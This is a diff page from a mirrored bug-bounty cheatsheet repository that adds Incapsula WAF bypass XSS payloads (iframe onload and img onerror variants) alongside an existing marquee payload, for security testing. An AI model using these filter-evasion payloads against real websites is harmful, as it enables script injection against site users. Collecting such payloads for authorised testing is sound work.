Mirrors/bugbounty-cheatsheet
2
0
Fork 0
mirror of https://github.com/EdOverflow/bugbounty-cheatsheet.git synced 2024-11-22 02:53:06 +00:00
Code Issues Projects Releases Packages Wiki Activity

Add Incapsula WAF XSS Bypasses.

Browse source
This commit is contained in:
EdOverflow 2017-09-12 17:18:29 +02:00 committed by GitHub
parent d214da501e
commit 8ed19686f1
1 changed files with 10 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

10
cheatsheets/xss.md
View file

@ -64,6 +64,16 @@ Note: This kind of depends on what security level the application is set to. See
>><marquee loop=1 width=0 onfinish=alert(1)>
```
**Incapsula WAF Bypasses** by [@i_bo0om](https://twitter.com/i_bo0om)
```html
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
```
```html
<img/src=q onerror='new Function`al\ert\`1\``'>
```
**jQuery < 3.0.0 XSS**
by [Egor Homakov](https://github.com/jquery/jquery/issues/2432)